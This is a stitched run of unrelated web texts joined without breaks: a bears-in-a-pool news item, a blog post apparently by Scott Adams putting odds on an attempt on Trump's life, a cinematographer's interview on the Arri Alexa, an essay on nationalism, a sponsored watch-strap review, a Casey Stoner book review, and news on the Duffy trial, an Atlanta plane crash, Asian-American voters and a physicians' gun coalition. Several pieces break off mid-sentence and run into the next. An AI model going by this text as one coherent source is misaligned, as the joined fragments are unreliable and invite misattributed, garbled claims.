Given temperatures of over 25 C in the state and high humidity last week, it's no surprise the bears wanted to take a swim, slip down a waterslide and maybe take an impromptu bath. They picked the scenic Rockaway Township for their vacation, although their spot of choice was Tim Basso's backyard.
Basso posted videos of the bears on Youtube, which appear to be taken from the safety of his home. A man, a woman and a young girl can be heard speaking in the background.
At one point a bear picks up the young girl's inflatable toy in its mouth. The girl yells, "No! My floatie!" as the bears toss most of the toys out of the pool.
They proceed to pop several inflatable objects in the yard, in between playing with swing set. The girl worries aloud that they're going to eat her toy "bubble guppie car."
At one point, the girl screams as the mother bear drags a pool pump into the water along with its electrical wiring. The bears appear not to have been injured.
Eventually, the bears climb back over the fence and disappear, leaving behind the wreckage of a sweet pool party and a brown haze in the pool.Back in 1997 I made a prediction in my book The Dilbert Future that seems to be coming true. It stated:
In the future, the media will kill famous people to generate news that people will care about. – The Dilbert Future (May 1997)
Three months later, the media chased Princess Di into a tunnel and created a dangerous situation that killed her but was terrific for television news ratings. The media didn’t plot to kill anyone, but they created a situation that made it likely someone important would die because of the way their business model works. That was the basis for my prediction.
Fast-forward to today and we see the media priming the public to try to kill Trump, or at least create some photogenic mayhem at a public event. Again, no one is sitting in a room plotting Trump’s death, but – let’s be honest – at least half of the media believes Trump is the next Hitler, and a Hitler assassination would be morally justified. Also great for ratings. The media would not be charged with any crime for triggering some nut to act. There would be no smoking gun. No guilt. No repercussions. Just better ratings and bonuses all around.
In the 2D world of reason, no one in the media consciously wants a candidate for president to be injured, and no one is consciously acting in a way that would make it happen. But in the 3D world of persuasion, society has decided to lance the wart that is Trump. Collectively – the media, the public, and the other candidates – are creating a situation that is deeply dangerous for Trump.
[…]
The Secret Service will do a great job of protecting Trump. But even so, his odds of surviving the next year are dropping quickly. I put the odds of an attempted assassination at about 25 percent before November. And apparently that’s on me for being a Trumpsplainer. I apologize for that.
[…]
Update: A complementary article on the same topic of Trump’s risk.“That kind of experience makes me realise we have arrived at a point where movies and television have kind of jostled for position in viewers lives and they’ve also jostled for quality. The movies used to have all the technology which meant they looked that much better but now we’re at a much more level playing field where in TV the quality has just gone sky high with camera systems like Alexa and post production like we have now.
“The ASA of the camera is great as well. As I mentioned I’ve been working on the D21 on Outcasts, anamorphic lenses which require huge amounts of light and the D21 camera is a 200 ASA camera out of the box. We had a huge set in South Africa and it needed huge amounts of light to get the image we wanted. The Alexa on the other hand has such an advantage straight out of the box with a 800 ASA rating. With the pressure to shoot these television productions at the speed we have to and the quality we’re expected to get, you need all the help you can get. To have that speed it means yes you can use less light but also you can use softer lights and still have a great stop.
“Apart from a couple of locations all of Upstairs Downstairs was a set and a huge one at that. So Adam still needed a fair amount of light to deal with a 60 foot set. “But we were able to cut our package down probably to half because of the Alexa and still achieve the same look. That’s a huge advantage to the production.”
Alexa’s Colour Palette
“As you view it on set it’s quite a muted colour palette and for a while I thought ‘I wonder if I will be able to push the colour back in as far as I might need to’.
Now I’ve been through the post production process and we got the saturation where it wanted to be very effortlessly. But it’s a very subtle tool because it then gives you that range, if you want it to be pastel it can be. Other camera systems are a bit more forceful in their colour palette and they send you down a certain route. Here the skin tones are just beautiful, they’re just very sharp and yet they’re not brutal, they’re defined but not harsh. That’s kind of where you want to be. We used a very gentle filter to soften the image a little bit more. But nothing like you had to back in the day of early HD.
“Everyone will have their own feelings about working with Alexa but personally I found that you had to look after the highlights more than the shadows, it had a very graceful fall-off, often in the top end you had to be a little but cautious at times. At 800 ASA it definitely had two more stops of highlight than it did at lower ASAs so that creates certain challenges when you’re outside and you really need that depth in the sky say in July/August. So I was trying to shoot at 800 whenever I could, it just means stacking quite a few NDs up front.”
Workflow
When the production first got hold of their Alexa the facility to record to SxS cards wasn’t yet realised as they hadn’t finished the beta testing. “Arri diplomatically said we could record on the cards but we can’t guarantee your footage. It’s great now that you can record on cards and free yourself up from cables but for us we’re very used to recording to SR decks so that’s the way we did it. The post production was all done at BBC Wales where they have their own Baselight system where Gareth Spensley from Molinare did the grade.
“It wasn’t a complex piece to grade because we’d done so much in camera, it was really an example of an in-camera piece where you could control the palette so much, you can control the contrast so much through the production design and costumes that we were really tweaking and enhancing rather than re-inventing when it came to the grade. This is nothing to do with burning anything in but what is in front of the lens. I capture the best ‘neg’ I can, I keep it very flat and very well exposed. But in terms of what the lens is capturing we had a very controlled palette.
“It’s an unusual situation for a television production to be able to design that much of a show. Probably more than 90% of the interiors are sets, so you really can get control over the colour palette. Even though it was controlled we could then in post push a lot of saturation into it and keep it looking elegant because it had been so meticulously managed.”
Lenses
Adam ended up using Arri Master Prime lenses after testing against the Cooke S4 Series, “I had thought about going down the road of using some very old glass and maybe capturing a period piece with some period lenses but I felt the strength of the script actually came from the very topical issues that the characters faced. Although it’s set in 1936 it’s a very relevant piece, so I didn’t want it to feel passé and actually felt inclined to go for modern glass. I felt that the modern glass would give that modern connection. I’ve never used the Master Primes before and the focus puller was concerned when he heard I wanted to use them because they open to 1.3. But I wasn’t interested in the shallow depth as much as the resolution and the overall colour palette. They’re very sharp but not brutal so you get this really rich, crisp image that seems to compliment the Alexa beautifully.
“The main hall in the piece was like walking on to the set of Great Expectations. When our couple first arrive at night and the house has been shut up and there are cobwebs everywhere, it really is like a classic Hollywood movie. We didn’t want to portray the characters by thrusting the camera in to their faces but maybe be a bit more filmic about it and allow the group shots to play out. I knew that the piece wouldn’t be a handheld, fast cut style. I felt that it could be a one camera shoot with wider than normal lenses to achieve the developing shots and realise the kind of poetry and precision that we wanted, an approach very much shared by the director, Euros Lyn.
“These things develop as you shoot, I had an initial idea downstairs that one of the things we might try in separating the two worlds in a very subtle way was to use wider lenses closer to people downstairs and slightly longer focal lengths upstairs, but as the shoot progressed we realised even that felt wrong to separate those worlds in that way.
“I realised that one could be very poetic in a very silent way in Upstairs Downstairs, that really excited me to build a portrait of a family and extended family that audiences could discover along the way. You photograph it in such a way to enhance in the most subtle way possible the world they embody.
“Downstairs is slightly claustrophobic, the ceilings are lower, there isn’t any direct sunlight coming in so to give that feeling that they are below the house, at the very bottom of the house we could define it in that more shadowy way. Upstairs I wanted streaming sunlight coming through the windows and have a sense of loftiness so there’s room above their heads as well.
“My initial thought on a project is ‘how can we achieve the most poetic, elegant piece within the means that we have’? Finally we have a camera that will now provide such beautiful images on tight budgets. That’s a really exciting moment to be part of.”
There is no confirmation of more episodes of Upstairs Downstairs but to have such a lush series following the equally beautiful Downton Abbey will encourage producers to look to digital camera systems to provide the look while keeping to the budget.
HANDLING ARRI’S ALEXA - JEREMY HILES CAMERA OPERATOR UPSTAIRS DOWNSTAIRS
The Arri Alexa represent a significant step forward in the development of digital cameras, compared to its predecessor, the D21, it is lighter, narrower with the best and most versatile viewfinder system I have used. Being able to see an area outside the frame lines has been the main problem for operators using video viewfinders. Not being able to see track or microphones before they appear in shot means that you either have to play safe with the framing and boom operator, compromising the picture and the sound, or be prepared to go again. Many of the camera moves in Upstairs Downstairs would not have been possible without the extra viewing area.
The camera in its ‘out of the box’ state appears very compact and lightweight, however, by the time you have added all the usual accessories, lens control system, monitor, down converter, cinetape and recorder/monitor cables etc, it looks like an explosion in a spaghetti factory. It seems a shame that some of these accessories control boxes could not have been included within the body of the camera. The most time consuming and frustrating part of working with the camera was undoubtedly having to use the loom, although I hope that the size of this will now be reduced if the onboard recording system is proved to be reliable.
Using the camera in Steadicam mode was hampered by the use of cables from camera to the recorder and the lack of flexibility and precise control of the rig that they caused. Balancing the rig was achieved without too many problems, although because the camera was so light and the Master Prime lenses relatively heavy, it took some fiddling to get it just right.
In handheld mode, again, the loom was the most restrictive element, the camera was a definite improvement on the |
which the welfare of all of those at issue is taken to be of equal value.
The earlier Greek Stoics argued that the only one true community is the world, ruled by God. (How tensions in the thought of Plato gave rise to an uncompromising form of cosmopolitanism, and, in the late Stoa, reverted to a more conservative ethic of partiality, is a complex story.) Today’s secular versions of cosmopolitan theory require different foundations. These usually lie in various versions of utilitarianism and Kantianism, both of which demand ethical impartiality. (Utilitarians say that we must be impartial because what is of ultimate ethical value in the world is the extent to which people’s interests are satisfied, or the amount of happiness in the world. Whether the happiness that is a potential consequence of our actions belongs to someone similar to or having certain social relations to us is ethically irrelevant. Kantians would say that all human beings have equal dignity; all ought to be treated as intrinsically worthy. Kant’s way of putting this was to say that we all ought to live as though we were all share the status being members of a “kingdom of ends.”) These ethical theories were directed against the more traditional view that moral obligations, at least in part, are derived from the special, exclusive relationships in which we find ourselves. A good example of this sort of defense of the partiality in ethics is found in traditional Catholic Natural Law theory, according to which our obligations to our immediate family are of a different order than those we have to those to compatriots, and those to compatriots of a different order than those we have to all human beings. Along similar lines is Christina Hoff Sommers’s defense of the moral force special relations endorsed by the traditions of one’s society. If our ethical obligations do derive from special relations, we can understand why not everyone makes the same ethical claims on us, for example, why it is not unethical to buy one’s own child a bicycle, while other children are hungry. On such a view, although there will be times when obligations to those more distant take precedence over obligations to those closer, “charity begins at home.”
There are a number of ways of arguing for this sort of anti-cosmopolitan conclusion. Communitarians such as the 19th-century philosophers Herder and Hegel, as well as contemporary political theorists such as Sandel and Walzer, have argued that political communities are important insofar as they are necessary for perpetuating culture-specific norms and modes of life that are necessary for human flourishing. On this view, a Native American, for example, has a fuller, more meaningful life if she lives as a member of a tribe. This involves not only distinctive food and dance; it involves a whole way of life. So, it is argued, national culture, including the majority American culture, can play an important role in constituting who were are and what gives our lives meaning; whether there is available an ethically acceptable understanding of what constitutes the core of that culture is another question altogether. Philosophical nationalism takes things one step further, endorsing the view that a legitimate, perhaps essential, purpose of a nation state is to promote and protect a certain communal identity. This argument is in tension with those that conclude that an ethical state will be impartial in all of its institutions and practices. For communal identities are often constituted by factors, such as ethnicity, that cannot be willed. A nationalistic state may strengthen the way of life of the majority culture, but can marginalize and possibly harm the culture of minorities. This is why the most extreme nationalistic states have been guilty of the horrors of genocide and ethnic cleansing.
In our days, Israel is notable for being among the few Western-style democracies that rests on a fundamentally nationalistic justification: Israel understands itself as a “Jewish state.” Zionism argues that such a state is necessary to preserve and protect Jewish cultural (and religious) life, given the persistent hostility towards Jews seen throughout the world for millennia. The core argument against Zionism lies not in dispute concerning historical territorial claims, as intense as that debate is, but in the very concept of a Jewish state, which, insofar as it departs from the ideals of impartiality, is condemned as racist. Israel may be unique in its open proclamation of nationalistic ideals, but one finds academics supporting this mode of national self-understanding in America, as well. In his last book, Who Are We?, political scientist Samuel Huntington argued that the United States of America derives its identity from a specifically Protestant culture with roots in English thought, and argued that unchecked immigration of groups not amenable to cultural assimilation threatens the continuance of American national identity. Again, it was not surprising that the book was condemned as racist.
Some varieties of nationalism are racist, no doubt, but must this be true of all? There are two ways of approaching this question. One attends to history; the second abstracts from it.
In a recent paper, Grant Silva follows the first path in his condemnation of moves (like that of Trump) to restrict and criminalize the immigration of Latinos. He criticizes Walzer’s defense of national boundaries and restriction on immigration as presupposing that cultural identity and membership has been already established in a nonproblematic way. The reality, Silva points out, is that throughout American history American self-understanding has been motivated by colonialism and race hatred. If I understand him, his point is that such morally vicious underpinnings are perpetuated through the defense of cultural and geographical boundaries that have such morally problematic historical roots. His paper does not exclude the possibility of ethically permissible boundaries, but since every variety of national self-incorporation presupposes the distinction between an in-group and an out-group, which, prior to the establishment of peoplehood, is discriminatory and accordingly morally problematic, it is not clear when a nation can redeem itself from its history, and can take steps to preserve itself as distinct from other nations in a way that is not racist or otherwise unjust. A thoroughgoing cosmopolitanism cleansing political culture of all exclusionary tendencies might be a logical result. (In a personal communication, Silva points out that an alternative way of dealing with the problematic history of national identity would be relax immigration restrictions on those populations that were victims of a nation’s exclusionary history. This would be an example of what Shelley Wilcox has called a “non-ideal position” concerning immigration.)
Another way of evaluating whether national institutions embody morally pernicious ways of distinguishing people on the basis of race or culture is to abstract from history, and to simply consider the institutions as they stand today, disregarding the people who live under them and their historically grounded prejudices and aspirations, and to see whether at the present time they conform to universal standards of justice. John Rawls’s theory of justice as fairness provides a way to make this sort of evaluation. Rawls asks us to engage in the famous thought experiment of the “veil of ignorance.” Suppose that you are deciding on the institutions of the political system in which you are destined to live, but are ignorant of the details of who you would be in that society, and what your personal preferences and allegiances are. You would not know your future gender, race, or sexual orientation. You would not know if you will have a disability. You would not know what your religious convictions or affiliation would be. It would be rational for you to select those institutions in which the least advantaged would be the best off, in comparison with alternative institutions, since, for, for all you know, you will end up among that group of the least advantaged, and the rational choice is the safe choice. Rawls argues that behind the veil of ignorance the rational choice would be selecting those institutions that do not favor the interests of one group to the detriment of those of another group. Such institutions will be those that are fair, and accordingly just. For this reason, the institutions and laws of a nationalistic nation-state will be unjust to those of a different national identity. Note that Rawls’s thought experiment does not bear directly on the question of immigration, as it concerns the institutions of a state whose membership and borders is not in question; the international order is not a single political entity, and the institutions of international law are at best works in progress. Still, it does call into question the legitimacy of appealing to national cultural identity in justifying political institutions.
But suppose the communitarians are right, and our identities are to a large extent constituted by the groups to which we belong, groups that have an identity and unity of their own and will not arise or persist out of individual choice, outside of social structures supporting them. It could be argued that behind the veil of ignorance, one would be unaware of whether one would belong to an ethnic, religious, or other kind of cultural group. Would it not be rational for the one behind the veil to choose those institutions that would preserve and nurture cultural identities, both majority and minority? Institutions intended to preserve such groups might be understood to be required by the demands of justice. Perhaps some legal and institutional arrangements dedicated to the preservation of indigenous cultures are of this kind, just, even if some rights and freedoms that they offer to those belonging to those cultures are denied to others. For example, those of us who are not Native Americans may not purchase or live on tribal lands. Few of us would consider this an unjust result of cultural or ethnic discrimination. The same line of thinking could be used to justify nation-states, like Israel, or even America, conceived as Huntingdon does. (I again bracket as sociological question the details of Huntington’s analysis, and the matter of whether majority cultures do need such protection.)
There are no clear answers. One strategy is to graft Kantian or utilitarian ideas of impartiality onto nationalistic frameworks, but it is not an easy fit. This is the strategy of Zionist philosopher Yael Tamir in her Liberal Nationalism. Although she supports Israel’s self-identification as a Jewish state, deontological considerations lead her to the conclusion that Palestinian national identity is likewise of value for the flourishing of Israelis of Palestinian heritage, and accordingly, when serving as Israeli Minister of Education, Tamir insisted on the need for some impartiality in regard to cultural narratives, endorsing textbooks for Israeli Arabs that included references to Israeli independence and the ensuing exodus of Arabs as “the Nakba” (“the Disaster”), causing a furor from the Israeli right. Tamir’s proposal of respecting competing national narratives was thought to pose a severe threat to a dominant version of the Israeli national narrative.
The tensions that arise from nationalistic modes of self-understanding arise when one mode of self-understanding excludes or marginalizes another. It is not easy to see how Zionist and Palestinian modes of self-understanding can come to be respectful of each other, as each rests on a historical narrative that is incompatible with the other. If Huntington had been correct in his analysis of American national identity, we would be facing a similar issue. The flourishing on a society grounded on Anglo-American cultural principles on his view would inevitably “clash” with those with a different cultural grounding. He would not have been surprised by the eruption of racism and Islamophobia within the phenomenon of Trumpism. But we in American have the resources for negotiating these tensions more easily than other nations. Fortunately, many Americans (including myself) are convinced that Huntington was wrong in making his fundamental historical and sociological point that American culture is, at its root, European and Protestant. The diversification of curricula and the publication of textbooks with multiple historical narratives might be bemoaned by some as signs of a culture adrift, but there is the promise that they are signs of the fruition of the ideals of self-determination and opportunity that are celebrated in our founding documents. Paradoxically, a distinctively American variety of pride and national identity might find its fruition not in the exclusion and marginalization of minority cultures, but in embracing and welcoming them, with no way of knowing in advance whether this will be a matter of assimilation, mutual influence allowing the emergence of a new unified culture, or a cultural mosaic of diverse elements. American nationalism need not be fearful, driven by a fortress mentality.
Owen Goldin is Professor of Philosophy at Marquette University in Milwaukee, Wisconsin.A leather strap is always by favorite and go-to for my Apple Watch Series 2 not only because any color and tan of leather hides match perfectly with the glossy Stainless Steel watch case, but also a relative elegant choice for business attire that I need to put on most weekdays.
We have had quite a few reviewed on the blog and yet most of them looks good but they may look alike as well with little customization. You may be able to get similar quality from Etsy but you have to go by trial and error. If you are looking for something different with various customization flexibilities, guaranteed quality and a decent, affordable price, the handmade Apple Watch leather straps from Outline Leather Goods could be one of the best options out there.
Introduction
Found by two cousins, Matt and Mark, and based in Britain, Outline Leather Goods is a brand dedicated to craft stunningly high quality, customisable leather products from the finest materials in their Midlands workshop, with intense time and care put in each one. Their custom-made leather strap aims at giving a dramatic transform to the look of Apple Watches of their customers.
That maximum customization rarely offered in market gives customers the nicest experiences to shop Apple Watch straps with Outline Leather Goods. Not only that both 38mm and 42mm sizes are available, but also 190 different combinations that you can choose from the below as you wish:
Stitching style: Minimal (£55) or Traditional (£65)
Minimal (£55) or Traditional (£65) Hides: Amber Tan, Vintage Gold, Satchel brown, Dark black, Venetian grey
Amber Tan, Vintage Gold, Satchel brown, Dark black, Venetian grey Stitching thread: Oxblood, Red, Bright red, Orange, Yellow, Lime green, Emerald, Teal, Royal blue, Navy blue, Violet, Aubergine, Light brown, Hazelnut brown, Écru, Mouse grey, Slate grey, Black
The tailor-made leather strap
Thanks to the sponsor from Outline Leather Goods, we have got a chance to have a customized Apple Watch strap for this review – the Satchel Brown Apple Watch leather strap with traditional écru stitching.
My impression at first glance was incredible. The craftmanship is incredible. The smell of the leather is delightful too.
The leather pieces were evenly cut and shaped. The layers of lather piece is thicker than expected and they are securely, properly glued together. The leather, despite not the softest out of the box, grows better throughout the week as being worn every day.
The strap is hand stitched along the entire strap with French linen thread, and Using a 6-millimetre stitch length, these straps are back-stitched at all overlapping points to ensure their strength. The stitching aligns with the edges on the two separate bands and the free loop, and no loose thread is sticking out.
Hardware
The stainless steel adapters and buckle are of high quality. They are well-polished to match with the Stainless Steel Apple Watches.
The adapters are also perfectly sized to fit in the Apple Watch Series 2 casing where I could find no visible gap nor did I find any loosen parts.
Conclusions
I highly recommend the Apple Watch leather straps from Outline Leather Goods. For a sub-hundred dollar option, this is by far the best I have ever reviewed for Apple Watch straps made of premium quality leather, threads and hardware with fine stitching.
In addition to perfection in craftmanship, there is also a high level of customization on stitching style, leather hides and stitching options that can rarely be found in the Apple Watch aftermarket, in which most are basically standardized by machined mass production. For around $60, there is a very good value for money for a relatively unique good-looking Apple Watch strap that could easily get random compliments around.
Head over to the Apple Watch Strap session on Outline Leather Goods and shop for your holiday gifts now and be sure to check out our Instagram and Outline Leather’s Gallery for more high quality photos in addition to what are shown in this review.
Let me know what you think about the handmade Satchel Brown Apple Watch leather strap from Outline Leather Goods in the comment session below and check out many more Apple Watch band reviews here exclusively on Superphen’s Tech Blog.I spent some of the festive break reading Casey Stoner’s autobiography, Pushing the Limits. It’s an enjoyable book and should be required reading for any aspiring kid racer (presuming they’ve been off the bike long enough to learn to read) and for any parents of same.
Stoner’s abilities and his success confirm the verity of the 10,000 hour rule which suggests that’s the minimum amount of time you need to spend doing any pursuit if you want to be world-beating good at it. In other words, there are no short cuts on the way to the top – it’s just work, work and more work.
The young Casey Stoner
As a kid, Stoner did pretty much nothing except ride bikes. And the struggles through which his family went to ensure that he kept climbing the ladder make for uncomfortable reading, especially if you’re a parent. Would you go to the same ends? I’m not sure I would.
As is usual in autobiographies (at least, in my opinion), it’s the childhood years that are the most fascinating. You get to fully understand why Stoner was the way he was when he was racing Grands Prix. After that, there’s plenty of interesting stories you won’t have heard before and he also manages to settle a few scores, because, after all, that’s half the point of writing an autobiography.
Among those who get it in the neck are Michelin, who he says didn’t look after him so well when he graduated to MotoGP in 2006, and Randy Mamola, who was briefly involved in managing his career.
Stoner navigates Laguna Seca's corkscrew during his rookie MotoGP season, 2006
Perhaps the most illuminating part of the book is the tale of his very first race, as a four-year-old, at Hatcher’s dirt track on the Gold Coast. As Stoner lines up at the start aboard his PW50, he starts to cry. There are harsh looks from other parents and race officials, all of them no doubt jumping to the conclusion that Stoner’s mum and dad are the kind of desperate racing parents who force their kids into doing something they really don’t want to do.
In fact Stoner is shedding tears for a different reason – he is upset because people are looking at him. Born and bred in the middle of nowhere, he’s not used to all the attention and he hates it. A few years later he was bullied at school, so his parents took him out and home-schooled him, further divorcing him from the rough and tumble of normal life.
Dealing with fame in MotoGP
Fast forward 17 years or so and Stoner is in the Donington paddock, riding his scooter to the Ducati garage to start practice. There are kids and grown-ups pleading for autographs as he weaves his way through the crowd and he’s not signing one of them. The crowd isn’t happy. And neither is Stoner – he hates crowds.
Stoner is (or was) a hugely talented motorcycle racer who abhors being in the limelight. The paradox of his career was that he was doing something he loved, but this required him to do something he hated. Thus success was always half a nightmare for him and eventually he had had enough.
Stoner isn’t a born PR man like Valentino Rossi and Marc Márquez, so he never publically explained the reasons for his behaviour. Thus fans merely thought he was rude and unprofessional, rather than simply a rabbit caught in the limelight, hating every minute until he clipped down his visor and escaped into another world.
I had my own moments with Stoner during the years he was in GPs, from 2002 to 2012. His talent dazzled me from the moment he turned up at Welkom in April, qualifying on the second row for only his second race on a 250. A few months later I wrote that “he has the stamp of greatness upon him”, and he was still only 16-years-old.
Casey Stoner's MotoGP career
Seven seasons
38 victories
39 pole positions
29 fastest laps
World Champion in 2007 (Ducati) and 2011 (Honda)
Our relationship went downhill when he joined Ducati, for whom I was writing press propaganda at the time. I knew I was in trouble when I heard him mutter to someone, “I’ve had words with Livio [Suppo] about that bloke”. Oh hell, I thought, this is going to be a nightmare season.
In fact it wasn’t. Stoner was always professional and always interesting when I sought quotes from him following each practice session and race. Despite that, after a few races I decided to confront him about his apparent dislike for me. “Casey, have you got a problem with me?” I asked. “Yes,” he said. “I have.” Oh dear.
Qatar 2007: Stoner wins his first race for Ducati
Turned out he was angry about some words I’d written about him crashing when he was riding 250s. Well, he did crash that 250 quite a lot, so…
He was also angry with something I’d supposedly written about him when he was doing the British 125 championship in 2001, but because I’d not written a single word about the British 125 championship since I left Motor Cycle News at the end of 1989, I told him he must’ve got me confused with someone else.
Understanding the mentality
After that, our relationship became slightly less fraught. After he won the 2007 and 2008 British GPs, only to be greeted by a booing crowd – angry that Rossi hadn’t won – I started quizzing him during one-to-one interviews about his relationship with fame. This is the bombshell he dropped on me at Sepang in October 2008.
“I am here to race and this is what I want to do and the rest of it is just murder to me. Some people enjoy the media but I hate attention, I hate people talking about me. It’s really something I dislike, it’s difficult for me to handle. I’d really just prefer to be a little mouse in a corner, forgotten about.”
But I think I only fully understood Stoner when I spoke to Ian Newton, the former 250 racer who runs the Aprilia Superteens series, which was Stoner’s first step on the roadracing ladder. Newton – without an axe to grind – had only good things to say about Stoner.
“Casey was an absolutely fantastic kid. Now I tell all the Superteenies – all sunglasses and hair-gel – that when he was practicing he would come in, take his crash helmet off, then drop on his knees and start working on his bike.
“When he won Superteen races he used to ride round with his hands on the handlebars, so I told him that he should wave to the crowd. He said, ‘no, I’ll feel a real dick’. So he was riding around, hiding inside his helmet, embarrassed with what he was doing, embarrassed with how good he was.
“I was sat with him in his motorhome at the 2006 British GP and you couldn’t have found a more miserable kid. At this point he’d had a fall-out with his dad, so his parents were around and Adriana [his future wife] wasn’t with him yet, so he was in Europe all on his own.
The last win: Phillip Island, 2011
“He sat there and said ‘as much as I love motorbikes I never ever, ever thought about the publicity side of it and I hate it’. He talked about jacking it in then. The kid can’t cope with the publicity and then he gets slaughtered by the press and booed by fans. I always knew he wouldn’t hang around long.”
Sure, Stoner wasn’t the ideal ambassador for the sport, but who cares? One of the most important things in life is to know yourself and to be yourself. Do we really want every rider to give himself a PR work-over, learning to always say the right thing and always smile at the camera? I know I don’t.
I just want riders to race like their lives depend on it and then to be themselves, for better or for worse. Stoner wasn’t made for fame; it wasn’t his fault he couldn’t handle it. Sure he moaned a bit, but on the bike he was a genius and off the bike he was always frank and fascinating. You can’t ask for much more than that.Could the prime minister's former chief staff and several senior Tory senators wind up testifying at Sen. Mike Duffy's trial just as the federal election campaign gets underway?
This scenario is becoming increasingly likely, as the pieces move into place for extra trial dates to be set aside in August to hear Duffy's case.
Whether or not the election writ is officially issued, the parties will be in full campaign mode by that point — the Conservatives have already agreed to a leaders' debate in August.
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Last week, a lawyer for former senator Mac Harb agreed to postpone his trial scheduled to begin on Aug. 10, as Duffy's trial requires more time.
"Also we have some interest in some of the issues in the Duffy trial, so we'll see how some of those issues unfold," said Harb defence lawyer Sean May.
That means the Harb fraud and breach of trust trial will likely unfold in the spring of 2016, with more key witnesses appearing at Duffy's trial in the last three weeks of August.
Both Harb and Duffy have been charged with filing improper living expenses connected with their designation of an Ottawa-area home as a secondary residence.
Duffy has pleaded not guilty to 31 charges in total, including others that relate to his travel and Senate office expense claims.
After a three-week hiatus, the trial resumed Monday with a minor victory for the Duffy team. Justice Charles Vaillancourt ruled that a Senate committee report could be entered into evidence.
The 2010 report of the internal economy committee was based largely on three audits of the Senate's administrative practices, undertaken by the firm Ernst and Young.
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It found that there was a lack of clear guidelines and criteria establishing what constitutes official business, as well as what is considered partisan activity, when senators file expenses.
Those conclusions are important for Duffy's defence, which is largely focused on the argument that he was operating within the Senate's confusing and lax rules.
"Oversight is relevant in this trial and counsel for the applicant advances the proposition that the lack of appropriate oversight is a key component to the defence of many of the charges before the court," Vaillancourt wrote. "I recognize this as a valid position."
The Crown argued that the report should be considered hearsay, since it was based on the work of an audit firm and not the committee. But Vaillancourt agreed with the defence that the audits were absorbed into the committee's own work.
This ruling could have implications later on in the trial. The auditor general is set to submit to the Senate a report on the spending of all senators some time this week.
From that point, the report, its release to the public and the official response all moves out of the auditor's hands. Bayne can be expected to argue that it, too, is a Senate document and should be entered into evidence at Duffy's trial.
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Vaillancourt is also hearing a separate evidence issue that involves another internal Senate audit. The upper chamber is trying to keep it from being released to the defence, arguing parliamentary privilege or immunity. That matter will be considered next week.ATLANTA (Reuters) - Four people died on Friday when the small plane they were riding in crashed on a busy Atlanta-area highway after taking off from a nearby airport, local authorities said.
The accident shut down a stretch of Interstate 285 for hours and caused traffic problems throughout Atlanta. But no drivers on the major thoroughfare reported any injuries, including a tractor-trailer driver who said the aircraft clipped his truck.
“It was a sheer miracle that no one was hurt and that we had no other victims,” said DeKalb County Fire Rescue Captain Eric Jackson.
The Piper PA-32 crashed Friday morning after departing from the DeKalb–Peachtree Airport, just northeast of Atlanta, authorities said.
Investigators do not know what caused the plane to go down about a mile from the airport, Jackson said. Television footage of the smoldering wreckage showed little of the plane was left intact after it hit the center median of the highway.
The four occupants, along with a pet, were headed to Oxford, Mississippi to attend graduation at the University of Mississippi, the Clarion-Ledger newspaper reported.
Robert Byrd, a student at the school, said his father, his two brothers and the fiancée of one of his brothers were on their way to see him graduate, the newspaper reported.
Jackson did not respond to messages seeking to confirm the identities of the victims.
Gerald Smith, the driver of the tractor-trailer rig, told WSB-TV that he saw the plane approaching his truck at a high rate of speed and slammed on his brakes.
“I heard an impact hit the front of my truck,” Smith said. “If I would have stayed on the gas, I would have met it head on.”
All lanes of I-285 in both directions were reopened by Friday afternoon, said Annalysce Wilson, spokeswoman for the Georgia Department of Transportation.That remains a tradition today: Asians in America, a diverse, polyglot bunch, and a growing share of the electorate, remain mostly invisible in the American political debate. Like nearly every other electoral subgroup in U.S. polling, “Asian” is a label that masks the diversity among its peoples—perhaps even more than “Hispanic” belies the significant variances between the cultures designated as such. Asians also combat American laissez faire: They are widely (if falsely) viewed as independent, non-ideological and economically successful. They may be voters, but they aren’t understood to be broadly influencing party platforms, the handful of prominent Asian-American elected leaders notwithstanding.
For a long time, minority voices have been the least voluble in the room, (if they were in the room at all), but this election has seen a sharp focus on traditionally marginalized communities, whether Latino, Black, or LGBTQ. On Saturday, Donald Trump visited Great Faith Ministries in Detroit, a black church, in a bid to ease tensions with the African-American community after a series of questionable remarks, as well as to signal to critical white swing voters that he is not, in fact, a racist.
Hillary Clinton has made careful note of Trump’s issues with minority voters, and has gone to great lengths to court the Hispanic vote across the map. Last month, her campaign revealed that Clinton would be reaching out to Latino voters in unlikely states including Georgia, North Carolina, and Pennsylvania, with the aim of using that support—however marginal—to turn purple and red states blue.
“You don’t take for granted the Latino community in these states that aren’t traditional battleground states, because when you’re deciding states by one, two or four percentage points, you have to lean on them,” said Lorella Praeli, the Clinton campaign’s director of Latino voter outreach. “You have to be communicating to them bilingually; you need to be sophisticated enough to talk about the issues they care about in the state.”
Amid this targeting of minority voters, why don’t Asian Americans count more, in the landscape of American politics? On its face, the answer is a simple matter of mathematics: Asians make up a much smaller slice of the electorate (An estimated 4 percent in 2016, according to Pew) compared to Blacks (12 percent) or Hispanics (12 percent). But that’s changing: Pew also concludes that the largest growth in the voting public is among Asians, who grew four times faster than any demographic group from 2000 to 2010.
Clinton’s campaign is focused on the Hispanic vote to carry her to victory, but Asians, too, will cast crucial and potentially tie-breaking votes in swing states like North Carolina, where the number of Asian Americans registered to vote statewide increased 130 percent between 2006 and 2014, and in Virginia, where they make up 7 percent of the population and wielded considerable power in the 2014 midterms.On Monday, the American Academy of Family Physicians (AAFP) announced it was teaming up with the American Bar Association and seven other health organizations to form a “coalition” treating guns as a public health threat, focusing on ammunition magazine capacity.
According to AAFP’s announcement, the coalition presupposes “firearm violence is a public health issue…[that] needs to be addressed from a public health perspective.” The coalition believes the remedy to this health issue lies in gun control regulations that “are entirely consistent with the Second Amendment of the Constitution.”
These regulations include banning the manufacture and sale of “high capacity” magazines. They also include expanding retail background checks to include private and gun shows sales so everyone will go through the same background check Jerad and Amanda Miller (Las Vegas cop killers), Elliot Rodger (Santa Barbara), Ivan Lopez (Fort Hood 2014), Darion Marcus Aquilar (Maryland mall), Karl Halverson Pierson (Arapahoe High School), Paul Ciancia (LAX), Aaron Alexis (DC Navy Yard), James Holmes (Aurora theater), Jared Loughner (Gabby Giffords’ attacker), and Nidal Hasan (2009 Fort Hood gunman), went through to get their guns.
At the same time, the coalition joined by AAFP opposes “blanket reporting laws that require physicians to report patients with mental or substance use disorders,” because such reporting may “stigmatize patients and keep them from seeking treatment.”
